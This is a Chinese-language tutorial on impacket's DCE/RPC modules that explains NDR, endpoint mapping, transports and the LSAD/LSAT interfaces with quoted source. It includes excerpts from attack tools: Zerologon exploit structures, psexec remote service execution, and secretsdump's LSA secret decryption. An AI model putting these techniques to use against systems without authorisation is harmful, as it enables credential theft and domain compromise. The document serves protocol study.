第三部分 DCE/RPC
第 5 章 DCE/RPC 接口(dcerpc)
RPC 编程基础 — MIDL / stub / 运行时库
首先我们看一下 RPC 的实现过程。

图中第 4 步和第 11 步进行数据传输时使用的就是 NDR 格式。
RPC包括以下组件
-
MIDL编译器
-
Run-time libraries 和 header files
-
Name service provider (sometimes referred to as the Locator) 名称服务提供者(定位器)
-
Endpoint mapper (sometimes referred to as the port mapper) 端点映射器(端口映射器)
-
后三项随 Windows 自动安装;而 RPC 的导入库、头文件以及 uuidgen 工具需要安装 Windows SDK。
| 导入库 | 说明 |
|---|---|
| Rpcns4.lib(已过时) | Name-service 函数 |
| Rpcrt4.lib | Windows运行时函数 |
| 动态链接库 | 说明 | 平台 |
|---|---|---|
| Rpcltc1.dll | 客户端命名管道传输 | Windows NT,Windows 98,Windows 95 |
| Rpclts1.dll | 服务器命名管道传输 | Windows NT,Windows 98,Windows 95 |
| Rpcltc3.dll | 客户端 TCP/IP 传输 | Windows NT,Windows 98,Windows 95 |
| Rpclts3.dll | 服务器 TCP/IP 传输 | Windows NT,Windows 98,Windows 95 |
| Rpcltc5.dll | 客户端 NetBIOS 传输 | Windows NT,Windows 98,Windows 95 |
| Rpclts5.dll | 服务器 NetBIOS 传输 | Windows NT,Windows 98,Windows 95 |
| Rpcltc6.dll | 客户端 SPX 传输 | Windows NT,Windows 98,Windows 95 |
| Rpclts6.dll | 服务器 SPX 传输 | Windows NT,Windows 98,Windows 95 |
| Rpcdgc6.dll | 客户端 IPX 传输 | Windows NT |
| Rpcdgs6.dll | 服务器 IPX 传输 | Windows NT |
| Rpcdgc3.dll | 客户端 UDP 传输 | Windows NT |
| Rpcdgs3.dll | 服务器 UDP 传输 | Windows NT |
在 RPC 模型中,可以使用专为此目的设计的语言正式指定远程过程的接口。此语言称为接口定义语言(Interface Definition Language,IDL),其 Microsoft 实现称为 Microsoft 接口定义语言(MIDL)。
创建接口后,MIDL 编译器生成 stub——它是占位符函数,把本地过程调用转换为远程过程调用,内部调用 RPC 运行时库(runtime lib)的函数。
RPC 编程流程:先为客户端和服务端编写接口定义文件(.idl)以及属性配置文件(.acf);经 MIDL 编译器编译后,生成头文件(编写客户端 / 服务端代码时 include),以及客户端和服务端的 stub C 文件(编译客户端 / 服务端代码时链接进去)。
生成随机 UUID:用于在网络上唯一标识接口,以便客户端可以找到它们。
uuidgen -i -oMyApp.idl
此命令生成一个 UUID,并将其存储在可以用作模板的 MIDL 文件中。 执行上述命令时,MyApp.idl 的内容类似于以下内容:
[
uuid(ba209999-0c6c-11d2-97cf-00c04f8eea45),
version(1.0)
]
interface INTERFACENAME
{
}
rpc 编程示例
完整的 RPC 编程入门示例可参考:https://developer.aliyun.com/article/258886
ndr.py — NDR 数据表示与序列化
微软使用 NDR(Network Data Representation)引擎来封送(marshaling,类似序列化 / 反序列化)RPC 和 DCOM 通信时客户端与服务端 stub 之间的数据。IDL 的一个作用是提供描述这些结构化数据类型和值的语法。但是,RPC 协议指定输入和输出以八位字节流的形式传递,NDR 的作用是提供 IDL 数据类型到八位字节流的映射。NDR 在八位字节流中定义了原始数据类型、构造数据类型和这些类型的表示。
对于某些原始数据类型,NDR 定义了几种数据表示形式。例如,NDR 定义了字符的 ASCII 和 EBCDIC 格式。当客户端或服务器发送 RPC PDU 时,使用的格式在 PDU 的格式标签中标识。数据表示格式和格式标签支持 NDR 的多规范(multi-canonical)数据转换方法;也就是说,有一组固定的数据类型替代表示法。
ndr.py 定义了 NDR 传输中各类数据结构的格式(如 NDRArray 等),各数据类型均可通过 getData 函数把数据处理成符合 NDR 结构要求的数据。
class NDRVaryingString(NDRUniVaryingArray):
def getData(self, soFar = 0):
# The last element of a string is a terminator of the same size as the other elements.
# If the string element size is one octet, the terminator is a NULL character.
# The terminator for a string of multi-byte characters is the array element zero (0).
if self["Data"][-1:] != b'\x00':
if PY3 and isinstance(self["Data"],list) is False:
self["Data"] = self["Data"] + b'\x00'
else:
self["Data"] = b''.join(self["Data"]) + b'\x00'
return NDRUniVaryingArray.getData(self, soFar)
后续所有需要进行 RPC 通信的脚本都会调用 ndr 模块来构造标准的 NDR 格式数据。例如 CVE-2020-1472(Zerologon)所针对的 Netlogon 远程协议——一个用于域网络上用户和机器身份验证的 RPC 接口——其利用脚本就使用了 ndr 中的标准结构作为接口通信参数:
# eg./CVE-2020-1472/blob/master/nrpc.py
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRUNION, NDRPOINTER, NDRUniConformantArray, \
NDRUniFixedArray, NDRUniConformantVaryingArray
class NETLOGON_SECURE_CHANNEL_TYPE(NDRENUM):
class enumItems(Enum):
NullSecureChannel = 0
MsvApSecureChannel = 1
WorkstationSecureChannel = 2
TrustedDnsDomainSecureChannel = 3
TrustedDomainSecureChannel = 4
UasServerSecureChannel = 5
ServerSecureChannel = 6
CdcServerSecureChannel = 7
对 NDR 结构化数据感兴趣的读者可参阅此文档:https://pubs.opengroup.org/onlinepubs/9629399/chap14.htm
[MS-DTYP] dtypes.py — RPC 基础数据类型(DWORD / BOOL)
主要定义了协议通信中的各个基础数据类型,如DWORD,BOOL等等,具体类型数据可查看文档
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/cca27429-5689-4a16-b2b4-9325d93e4ba2
[MS-RPCE] rpcrt.py — DCERPC 运行时核心(header / bind / DCERPC 类)
主要是dcerpc通信中涉及的静态变量和tag参数、header等数据结构
+ DCERPCException 错误处理类
+ CtxItem 上下文对象
+ CtxItemResult 上下文请求结果
+ sec_trailer auth_length字段的非零值表示存在由安全提供者提供的身份验证信息。当auth_length字段不为零时,必须存在sec_trailer 结构
+ MSRPCHeader microsoft rpc 的header结构
+ MSRPCRequestHeader microsoft rpc 请求的header结构
+ MSRPCRespHeader microsoft rpc 响应的header结构
+ MSRPCBind RPC绑定上下文对象
- addCtxItem 添加上下文对象
- getData 遍历上下文对象
+ MSRPCBindAck 应答型rpc绑定
+ MSRPCBindNak 无应答rpc绑定
+ DCERPC Distributed Computing Environment/Remote Procedure Calls(分布式计算环境远程过程调用),协商 NDR 传输语法:8a885d04-1ceb-11c9-9fe8-08002b104860 对应 NDR 2.0 传输语法,71710533-BEBA-4937-8319-B5DBEF9CCC36 对应 NDR64 传输语法
- connect rpc连接
- get_rpc_transport获取rpc端口等关键方法
- call设置pdu(协议数据单元)数据段,
- request发送请求,
- get_credentials获取凭证,
- set_credentials设置凭证,
- bind RPC 绑定
- send 调用_transport_send发送rpc请求
- alter_ctx 更新为新的上下文对象
+ DCERPC_RawCall 给 PDU 的 data 字段赋值
+ CommonHeader 共同的header
+ PrivateHeader 私有header
+ TypeSerialization1 指定ndr序列化标准

+ DCERPCServer 简易的 RPC 服务器,impacket 的 smbserver.py 借助它在内置 SMB 服务器上响应命名管道中的 RPC 请求
- addCallbacks 回应请求的回调函数
- setListenPort
- getListenPort
- recv 接收请求,函数返回值为接收的数据
- run 开启服务器监听
- send
- bind
- processRequest 处理请求
# eg./impacket/smbserver.py
class WKSTServer(DCERPCServer):
def __init__(self):
DCERPCServer.__init__(self)
self.wkssvcCallBacks = {
0: self.NetrWkstaGetInfo,
}
self.addCallbacks(('6BFFD098-A112-3610-9833-46C3F87E345A', '1.0'), '\\PIPE\\wkssvc', self.wkssvcCallBacks)
enum.py — Python 枚举基类(NDRENUM 基础)
Python 枚举基类模块,NDR 中的 NDRENUM 等枚举类型都基于它实现。
以上就是 impacket 中 MSRPC 通信的基础模块,后面开始介绍各个 RPC 接口对应的 py 模块。
[MS-RPC-EPM] epm.py — 端点映射器(hept_map 端点解析)
Microsoft 远程过程调用 (RPC) 端点映射器 (EPM) 协议。这是基于 TCP/UDP 端口的服务,包括 TCP/UDP 端口 135。此表中的所有其他服务/组都是基于 UUID 的。
该模块列举了大量已知 UUID 对应的 DLL 和 RPC 接口;主要函数为 hept_map(impacket 源码中的历史拼写,即端点映射 ept_map),用于根据接口 UUID 解析出 RPC 端点的字符串绑定,支持 ncacn_np、ncacn_ip_tcp、ncacn_http 协议:
def hept_map(destHost, remoteIf, dataRepresentation = uuidtup_to_bin(('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')), protocol = 'ncacn_np', dce=None):
# ① 没有现成 dce 连接时,先绑定目标 135 端口的 EPM 接口
if dce is None:
stringBinding = r'ncacn_ip_tcp:%s[135]' % destHost
rpctransport = transport.DCERPCTransportFactory(stringBinding)
dce = rpctransport.get_dce_rpc()
dce.connect()
disconnect = True
else:
disconnect = False
dce.bind(MSRPC_UUID_PORTMAP)
# ② 组装 EPMTower(端点塔):接口层 + NDR 数据表示层 + 协议标识层 + 传输层
tower = EPMTower()
interface = EPMRPCInterface()
interface['InterfaceUUID'] = remoteIf[:16]
interface['MajorVersion'] = unpack('<H', remoteIf[16:][:2])[0]
interface['MinorVersion'] = unpack('<H', remoteIf[18:])[0]
dataRep = EPMRPCDataRepresentation()
dataRep['DataRepUuid'] = dataRepresentation[:16]
......
protId = EPMProtocolIdentifier()
protId['ProtIdentifier'] = FLOOR_RPCV5_IDENTIFIER
# ③ 传输层 floor 按目标协议构造(ncacn_np 为管道名+主机名,
# ncacn_ip_tcp / ncacn_http 为端口+地址,结构相同,此处略)
if protocol == 'ncacn_np':
pipeName = EPMPipeName()
pipeName['PipeName'] = b'\x00'
hostName = EPMHostName()
hostName['HostName'] = b('%s\x00' % destHost)
transportData = pipeName.getData() + hostName.getData()
elif protocol in ('ncacn_ip_tcp', 'ncacn_http'):
......
tower['NumberOfFloors'] = 5
tower['Floors'] = interface.getData() + dataRep.getData() + protId.getData() + transportData
# ④ 发送 ept_map 请求(Windows 2003 上 Referent ID 必须固定为 1/2)
request = ept_map()
request['max_towers'] = 1
request['map_tower']['tower_length'] = len(tower)
request['map_tower']['tower_octet_string'] = tower.getData()
request.fields['obj'].fields['ReferentID'] = 1
request.fields['map_tower'].fields['ReferentID'] = 2
resp = dce.request(request)
# ⑤ 从返回的 tower 第 4 层解析出端点字符串绑定并返回
tower = EPMTower(b''.join(resp['ITowers'][0]['Data']['tower_octet_string']))
if protocol == 'ncacn_np':
pipeName = EPMPipeName(tower['Floors'][3].getData()) # 管道名在第 4 层
result = 'ncacn_np:%s[%s]' % (destHost, pipeName['PipeName'].decode('utf-8')[:-1])
elif protocol in ('ncacn_ip_tcp', 'ncacn_http'):
portAddr = EPMPortAddr(tower['Floors'][3].getData()) # 端口号在第 4 层
......
if disconnect is True:
dce.disconnect()
return result
transport.py — RPC 传输层(TCP / UDP / HTTP / SMB)
实现了 DCE/RPC 的传输层:通过 DCERPCTransportFactory 按字符串绑定(string binding)建立 TCP、UDP、HTTP、SMB(命名管道)等协议的 RPC 连接。
def DCERPCTransportFactory(stringbinding):
sb = DCERPCStringBinding(stringbinding)
na = sb.get_network_address()
ps = sb.get_protocol_sequence()
if 'ncadg_ip_udp' == ps:
port = sb.get_endpoint()
if port:
rpctransport = UDPTransport(na, int(port))
else:
rpctransport = UDPTransport(na)
elif 'ncacn_ip_tcp' == ps:
port = sb.get_endpoint()
if port:
rpctransport = TCPTransport(na, int(port))
else:
rpctransport = TCPTransport(na)
elif 'ncacn_http' == ps:
port = sb.get_endpoint()
if port:
rpctransport = HTTPTransport(na, int(port))
else:
rpctransport = HTTPTransport(na)
elif 'ncacn_np' == ps:
named_pipe = sb.get_endpoint()
if named_pipe:
named_pipe = named_pipe[len(r'\pipe'):]
rpctransport = SMBTransport(na, filename = named_pipe)
else:
rpctransport = SMBTransport(na)
elif 'ncalocal' == ps:
named_pipe = sb.get_endpoint()
rpctransport = LOCALTransport(filename = named_pipe)
else:
raise DCERPCException("Unknown protocol sequence.")
rpctransport.set_stringbinding(sb)
return rpctransport
以 examples/psexec.py 为例,通过 DCERPCTransportFactory 建立 scmr 接口(\pipe\svcctl)的 RPC 连接:
# eg./examples/psexec.py
executer = PSEXEC(command, options.path, options.file, options.c, int(options.port), username, password, domain, options.hashes,
options.aesKey, options.k, options.dc_ip, options.service_name, options.remote_binary_name)
executer.run(remoteName, options.target_ip)
def run(self, remoteName, remoteHost):
stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName
logging.debug('StringBinding %s'%stringbinding)
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(self.__port)
rpctransport.setRemoteHost(remoteHost)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
self.doStuff(rpctransport)
[MS-EVEN / MS-EVEN6] even.py / even6.py — 远程事件日志读取
EventLog Remoting Protocol,它公开 RPC 方法以读取远程计算机上实时和备份事件日志中的事件。even6 中的 6 指第六版(MS-EVEN6)。用于读取远程计算机上实时事件日志和备份事件日志中的事件。该协议还指定了如何获取日志的一般信息,例如日志中的记录数、日志中最旧的记录以及日志是否已满。该协议还可用于清除和备份这两种类型的事件日志。
两个版本实现的方法如下
OPNUMS = {
0 : (ElfrClearELFW, ElfrClearELFWResponse),方法指示服务器清除事件日志,并且可以选择在清除操作发生之前备份事件日志。
1 : (ElfrBackupELFW, ElfrBackupELFWResponse),方法指示服务器将事件日志备份到指定的文件名。
2 : (ElfrCloseEL, ElfrCloseELResponse),方法指示服务器关闭事件日志的句柄
4 : (ElfrNumberOfRecords, ElfrNumberOfRecordsResponse), 方法指示服务器报告事件日志中当前的记录数。
5 : (ElfrOldestRecord, ElfrOldestRecordResponse),
7 : (ElfrOpenELW, ElfrOpenELWResponse),指示服务器返回备份事件日志的句柄。调用者必须具有读取包含备份事件日志的文件的权限才能成功。注意 服务器有一个访问控制列表 (ACL),用于控制对日志的访问。该协议没有读取或设置该 ACL 的方法。
8 : (ElfrRegisterEventSourceW, ElfrRegisterEventSourceWResponse),方法指示服务器将服务器上下文句柄返回到事件日志以供写入
9 : (ElfrOpenBELW, ElfrOpenBELWResponse),方法指示服务器返回备份事件日志的句柄。
10 : (ElfrReadELW, ElfrReadELWResponse),方法从事件日志中读取事件;服务器将这些事件传输到客户端,并在与在LogHandle参数中传递的服务器上下文句柄关联的事件日志中提高读者的位置。
11 : (ElfrReportEventW, ElfrReportEventWResponse), 方法将事件写入事件日志;服务器从客户端接收这些事件。
}
even6.py(第六版):
OPNUMS = {
5 : (EvtRpcRegisterLogQuery, EvtRpcRegisterLogQueryResponse),用于查询一个或多个通道。它还可以用于查询特定文件。事件的实际检索是通过随后调用EvtRpcQueryNext(第 3.1.4.13 节) 方法完成的。
11 : (EvtRpcQueryNext, EvtRpcQueryNextResponse),客户端使用 EvtRpcQueryNext (Opnum 11) 方法从查询结果集中获取下一批记录。
12 : (EvtRpcQuerySeek, EvtRpcQuerySeekResponse),客户端使用 EvtRpcQuerySeek (Opnum 12) 方法在结果集中移动查询游标。
13 : (EvtRpcClose, EvtRpcCloseResponse),客户端使用 EvtRpcClose (Opnum 13) 方法关闭由本协议中的其他方法打开的上下文句柄。
17 : (EvtRpcOpenLogHandle, EvtRpcOpenLogHandle), 方法获取有关通道或备份事件日志的信息。
19 : (EvtRpcGetChannelList, EvtRpcGetChannelListResponse),EvtRpcGetChannelList (Opnum 19) 方法用于枚举可用频道集。
}
iphlp.py — IPv6 隧道(IP Helper Service)
iphlpsvc.dll,Windows 中的 iphlpsvc 是一种 Internet 协议帮助程序服务,其工作是帮助检索和修改 Windows 10 PC 的网络配置设置。它有效地允许跨各种 Windows 10 网络协议(如 IPv6 和端口代理等)进行连接。Iphlpsvc 主要用于运行远程数据库或通过 IPv6 连接。
模块实现的函数用于为 IPv6 通信架设隧道(IPv6-in-IPv4 tunnel)。
OPNUMS = {
0 : (IpTransitionProtocolApplyConfigChanges, IpTransitionProtocolApplyConfigChangesResponse),
1 : (IpTransitionProtocolApplyConfigChangesEx, IpTransitionProtocolApplyConfigChangesExResponse),
2 : (IpTransitionCreatev6Inv4Tunnel, IpTransitionCreatev6Inv4TunnelResponse),
3 : (IpTransitionDeletev6Inv4Tunnel, IpTransitionDeletev6Inv4TunnelResponse)
}
[MS-LSAD] lsad.py — 本地安全机构(域策略管理)
MS-LSAD(本地安全机构(域策略)远程协议)用于管理各种机器和域安全策略。所有基于 Windows NT 的产品在所有配置中都会在服务端实现并侦听该协议,但并非所有操作在所有配置中都有意义。
除少数例外,该协议支持远程策略管理场景。因此,为实现 Windows 客户端与服务端(域控制器配置等)的互操作性——如 Windows 客户端从服务器检索策略设置的能力——并不需要实现该接口的全部方法。
此协议控制的策略设置涉及以下内容:
- 账户对象:安全主体在服务器上拥有的权利和特权。
- 秘密对象:在服务器上安全存储数据的机制。
- 可信域对象:Windows 操作系统用于描述域和林之间信任关系的机制。
- 其他杂项设置,例如 Kerberos 票证的生命周期、域控制器的状态(备份或主要)以及其他不相关的策略。
远程管理的主要用例:
- 创建、删除、枚举和修改信任、账户对象和秘密对象;
- 查询和修改与可信域对象(TDO)、账户对象或秘密对象无关的策略设置,例如 Kerberos 票证的生命周期。
Policy object:
LsarOpenPolicy3
LsarOpenPolicy2
LsarQueryInformationPolicy2
LsarSetInformationPolicy2
LsarClose
LsarQueryDomainInformationPolicy
LsarEnumeratePrivileges
LsarLookupPrivilegeName
LsarLookupPrivilegeValue
LsarLookupPrivilegeDisplayName
LsarSetDomainInformationPolicy
LsarQuerySecurityObject
LsarSetSecurityObject
Account object:
LsarCreateAccount
LsarOpenAccount
LsarEnumerateAccounts
LsarClose
LsarDeleteObject
LsarSetSystemAccessAccount
LsarQuerySecurityObject
LsarAddAccountRights
LsarRemoveAccountRights
LsarAddPrivilegesToAccount
LsarRemovePrivilegesFromAccount
LsarEnumerateAccountsWithUserRight
LsarGetSystemAccessAccount
LsarSetSecurityObject
LsarEnumeratePrivilegesAccount
LsarEnumerateAccountRights
Secret object:
LsarCreateSecret
LsarOpenSecret
LsarClose
LsarDeleteObject
LsarRetrievePrivateData
LsarStorePrivateData
LsarSetSecret
LsarQuerySecret
LsarQuerySecurityObject
LsarSetSecurityObject
Trusted domain object:
LsarCreateTrustedDomainEx3
LsarCreateTrustedDomainEx2
LsarOpenTrustedDomain
LsarClose
LsarDeleteObject
LsarOpenTrustedDomainByName
LsarDeleteTrustedDomain
LsarEnumerateTrustedDomainsEx
LsarQueryInfoTrustedDomain
LsarSetInformationTrustedDomain
LsarQueryForestTrustInformation
LsarSetForestTrustInformation
LsarQueryTrustedDomainInfo
LsarSetTrustedDomainInfo
LsarQueryTrustedDomainInfoByName
LsarSetTrustedDomainInfoByName
例如,要设置控制 Kerberos 票证生命周期的策略,请求者打开 Policy 对象的句柄并通过名为MaxServiceTicketAge的参数更新最长服务票证期限策略设置。来自请求者的调用序列如下所示(为简洁起见,删除了参数信息):
- 发送 LsarOpenPolicy3 请求;收到 LsarOpenPolicy3 回复。
- 发送 LsarQueryDomainInformationPolicy 请求;收到 LsarQueryDomainInformationPolicy 回复。
- 发送 LsarSetDomainInformationPolicy 请求;收到 LsarSetDomainInformationPolicy 回复。
- 发送 LsarClose 请求;收到 LsarClose 回复。
下面简单解释一下调用顺序:
- 使用实现此协议的响应者的网络地址,请求者发出 LsarOpenPolicy3 请求以获取策略对象的句柄。此句柄是检查和操作域策略信息所必需的。
- 使用从 LsarOpenPolicy3 返回的句柄,请求者发出 LsarQueryDomainInformationPolicy 请求以检索影响 Kerberos 票证的当前策略设置。
- 在修改 Kerberos 票证策略信息的部分以适合请求者之后,请求者发出 LsarSetDomainInformationPolicy 请求以将策略设置为新值。
- 请求者关闭从 LsarOpenPolicy3 返回的策略句柄。这将释放与句柄关联的响应程序资源。
这里直接看 examples/goldenPac.py 中的示例:通过 hLsarOpenPolicy2 返回的句柄发送 hLsarQueryInformationPolicy2 请求,查询 POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation 获取 forestSid(已与 impacket 上游源码核对一致):
/examples/goldenPac.py
resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES)
policyHandle = resp['PolicyHandle']
resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
dce.disconnect()
forestSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
logging.info("Forest SID: %s"% forestSid)
return forestSid
接下来让我们看下模块目前实现了哪些接口方法
0 : (LsarClose, LsarCloseResponse), 方法释放先前打开的上下文句柄所持有的资源
2 : (LsarEnumeratePrivileges, LsarEnumeratePrivilegesResponse),方法来枚举 系统已知的所有权限。可以多次调用此方法以片段形式返回其输出
3 : (LsarQuerySecurityObject, LsarQuerySecurityObjectResponse),方法来查询分配给数据库对象的安全信息。它返回对象的安全描述符。
4 : (LsarSetSecurityObject, LsarSetSecurityObjectResponse),方法被调用以在对象上设置安全描述符。
6 : (LsarOpenPolicy, LsarOpenPolicyResponse),方法与LsarOpenPolicy2完全相同,不同之处在于此函数中的SystemName参数,由于其语法定义,仅包含一个字符而不是完整的字符串。此SystemName参数对任何环境中的消息处理都没有任何影响。它必须被忽略。
7 : (LsarQueryInformationPolicy, LsarQueryInformationPolicyResponse),方法来查询表示服务器信息策略的值。
8 : (LsarSetInformationPolicy, LsarSetInformationPolicyResponse),方法被调用以在服务器上设置策略。
10 : (LsarCreateAccount, LsarCreateAccountResponse),方法被调用以在服务器的数据库中创建一个新的账户对象。
11 : (LsarEnumerateAccounts, LsarEnumerateAccountsResponse),方法以请求服务器数据库中的账户对象列表。可以多次调用该方法以片段形式返回其输出。
13 : (LsarEnumerateTrustedDomains, LsarEnumerateTrustedDomainsResponse),请求 服务器数据库中的受信任域对象列表。可以多次调用该方法以片段形式返回其输出。
16 : (LsarCreateSecret, LsarCreateSecretResponse),被调用以在服务器的数据库中创建一个新的秘密对象
17 : (LsarOpenAccount, LsarOpenAccountResponse),获得账户对象的句柄。
18 : (LsarEnumeratePrivilegesAccount, LsarEnumeratePrivilegesAccountResponse),检索授予服务器上账户的特权列表。
19 : (LsarAddPrivilegesToAccount, LsarAddPrivilegesToAccountResponse),向现有账户对象添加新权限。
20 : (LsarRemovePrivilegesFromAccount, LsarRemovePrivilegesFromAccountResponse),从账户对象中删除权限。
23 : (LsarGetSystemAccessAccount, LsarGetSystemAccessAccountResponse),检索账户对象的系统访问账户标志。系统访问账户标志被描述为账户对象数据模型的一部分
24 : (LsarSetSystemAccessAccount, LsarSetSystemAccessAccountResponse),为账户对象设置系统访问账户标志
28 : (LsarOpenSecret, LsarOpenSecretResponse),获得现有秘密对象的句柄
29 : (LsarSetSecret, LsarSetSecretResponse),设置秘密对象的当前值和旧值
30 : (LsarQuerySecret, LsarQuerySecretResponse),检索秘密对象的当前值和旧值(或以前的值)
31 : (LsarLookupPrivilegeValue, LsarLookupPrivilegeValueResponse),将权限的名称映射到本地唯一标识符 (LUID),通过该标识符在服务器上已知该权限。然后可以在对其他方法(例如LsarAddPrivilegesToAccount )的后续调用中使用特权的本地唯一值。
32 : (LsarLookupPrivilegeName, LsarLookupPrivilegeNameResponse),将特权的 LUID 映射 到服务器上已知特权 的字符串名称
33 : (LsarLookupPrivilegeDisplayName, LsarLookupPrivilegeDisplayNameResponse),将特权名称映射到调用者语言的显示文本字符串中
34 : (LsarDeleteObject, LsarDeleteObjectResponse),删除公开账户对象、秘密对象或可信域对象
35 : (LsarEnumerateAccountsWithUserRight, LsarEnumerateAccountsWithUserRightResponse),返回用户权限等于传入值的账户对象列表
36 : (LsarEnumerateAccountRights, LsarEnumerateAccountRightsResponse),来检索与现有账户关联的权限列表。
37 : (LsarAddAccountRights, LsarAddAccountRightsResponse),向账户对象添加新权限。如果账户对象不存在,系统将尝试创建一个。
38 : (LsarRemoveAccountRights, LsarRemoveAccountRightsResponse),从账户对象中删除权限。
42 : (LsarStorePrivateData, LsarStorePrivateDataResponse),存储秘密值
43 : (LsarRetrievePrivateData, LsarRetrievePrivateDataResponse),检索秘密值
44 : (LsarOpenPolicy2, LsarOpenPolicy2Response),打开RPC 服务器的上下文句柄。这是联系本地安全机构(域策略)远程协议数据库必须调用的第一个函数。
46 : (LsarQueryInformationPolicy2, LsarQueryInformationPolicy2Response),查询表示服务器安全策略的值
47 : (LsarSetInformationPolicy2, LsarSetInformationPolicy2Response),在服务器上设置策略
50 : (LsarEnumerateTrustedDomainsEx, LsarEnumerateTrustedDomainsExResponse),枚举服务器数据库中的可信域对象 。该方法旨在多次调用以检索片段中的数据。
53 : (LsarQueryDomainInformationPolicy, LsarQueryDomainInformationPolicyResponse),除了通过LsarQueryInformationPolicy 和LsarSetInformationPolicy2公开的设置外,还调用 LsarQueryDomainInformationPolicy 方法来检索策略设置。尽管方法名称中有术语“Domain”,但此消息的处理是使用本地数据进行的,而且,不要求此数据与 机器加入的域中的 LSA 信息有任何关系。
有趣的是,尽管 lsad 实现了这么多远程读取方法,secretsdump 实际是通过远程注册表(RRP)读取 LSA Secrets(注册表路径 HKLM\SECURITY\Policy\Secrets...)的:
# eg./impacket/examples/secretsdump.py
for key in keys:
LOG.debug('Looking into %s' % key)
valueTypeList = ['CurrVal']
# Check if old LSA secrets values are also need to be shown
if self.__history:
valueTypeList.append('OldVal')
for valueType in valueTypeList:
value = self.getValue('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType))
if value is not None and value[1] != 0:
if self.__vistaStyle is True:
record = LSA_SECRET(value[1])
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
record = LSA_SECRET_BLOB(plainText)
secret = record['Secret']
else:
secret = self.__decryptSecret(self.__LSAKey, value[1])
# If this is an OldVal secret, let's append '_history' to be able to distinguish it and
# also be consistent with NTDS history
if valueType == 'OldVal':
key += '_history'
self.__printSecret(key, secret)
[MS-LSAT] lsat.py — SID 与名称互转
本地安全机构(转换方法)远程协议,用于在人类可读和机器可读形式之间转换安全主体的标识符。
模块实现了如下接口方法
OPNUMS = {
14 : (LsarLookupNames, LsarLookupNamesResponse),方法将一批安全主体名称转换为它们的SID形式。它还返回这些名称所属的域。
15 : (LsarLookupSids, LsarLookupSidsResponse),将一批安全主体 SID转换为其名称形式。它还返回这些名称所属的域。
45 : (LsarGetUserName, LsarGetUserNameResponse), 方法返回 调用该方法的安全主体的名称和域名。
57 : (LsarLookupSids2, LsarLookupSids2Response),
接收 LsarLookupSids2 消息时所需的行为必须与接收 LsarLookupSids3 消息时的行为相同,但 有以下例外:此消息在非域控制器 计算机和域控制器上均有效。如果RPC 服务器不是域控制器,则 LsapLookupWksta 以外的LookupLevel值无效。
58 : (LsarLookupNames2, LsarLookupNames2Response),
接收 LsarLookupNames2 消息时所需的行为必须与接收 LsarLookupNames3 消息时的行为相同,但 有以下例外:TranslatedSids输出结构中的元素不包含Sid字段;相反,它们包含一个RelativeId字段。
68 : (LsarLookupNames3, LsarLookupNames3Response),
接收 LsarLookupNames3 消息时所需的行为必须与接收 LsarLookupNames4 消息时的行为相同,但有以下例外:此消息在非域控制器 计算机和域控制器上均有效。如果以下条件都不成立,服务器必须返回 STATUS_ACCESS_DENIED
76 : (LsarLookupSids3, LsarLookupSids3Response),
仅当 RPC 服务器是域控制器时,此消息才有效。如果 RPC 服务器不是域控制器,则 RPC 服务器必须在返回值中返回 STATUS_INVALID_SERVER_STATE。
77 : (LsarLookupNames4, LsarLookupNames4Response), 仅当 RPC 服务器是域控制器时此消息才有效。如果 RPC 服务器不是域控制器,则必须在返回值中返回 STATUS_INVALID_SERVER_STATE。
}
examples/lookupsid.py 通过 lsat 接口循环枚举 SID,实现域内用户盘点:
# eg./examples/lookupsid.py
resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
policyHandle = resp['PolicyHandle']
# eg.lsat.py
POLICY_LOOKUP_NAMES = 0x00000800 # 打开 Policy 对象时允许进行名称/SID 查询的访问掩码位
注意:不要把 POLICY_LOOKUP_NAMES(0x800)与“拒绝远程交互登录”之类的用户权利标志混淆——两者数值巧合相同,但属于完全不同的概念(前者是 LSAD/LSAT 的访问掩码位,后者是账户权限)。
mgmt.py — RPC 远程管理接口
根据开头定义的接口 ID,该接口为 RPC 远程管理接口(RPC Management)。模块完成了以下几个方法;Windows 文档中相关资料不多,方法说明参考了 Linux 下 freedce(FreeDCE RPC and DCOM Toolkit for Linux)的 mgmt.c 源码:
OPNUMS = {
0 : (inq_if_ids, inq_if_idsResponse),查询if id向量,这是一个本地/远程管理函数,它获取一个接口标识向量,列出在 RPC runtime注册的接口。如果服务器未注册任何接口,此例程将返回 rpc_s_no_interfaces 状态代码和 NULL if_id_vector。应用程序负责调用rpc_if_id_vector_free 来释放vector 使用的内存。
1 : (inq_stats, inq_statsResponse), 查询状态,用于获取指定服务器 RPC runtime 的统计信息。返回参数中的每个元素是一个整数值,对应定义好的统计常量
2 : (is_server_listening, is_server_listeningResponse),判断服务器是否监听
3 : (stop_server_listening, stop_server_listeningResponse),停止服务器监听
4 : (inq_princ_name, inq_princ_nameResponse),查询名称.这是一个管理器例程,它为远程调用者提供服务器的主体名称(实际上是主体名称之一)。
}
各接口参数如下
INTERNAL void inq_if_ids _DCE_PROTOTYPE_ ((
rpc_binding_handle_t /*binding_h*/,
rpc_if_id_vector_p_t * /*if_id_vector*/,
unsigned32 * /*status*/
));
INTERNAL void inq_stats _DCE_PROTOTYPE_ ((
rpc_binding_handle_t /*binding_h*/,
unsigned32 * /*count*/,
unsigned32 statistics[],
unsigned32 * /*status*/
));
INTERNAL boolean32 is_server_listening _DCE_PROTOTYPE_ ((
rpc_binding_handle_t /*binding_h*/,
unsigned32 * /*status*/
));
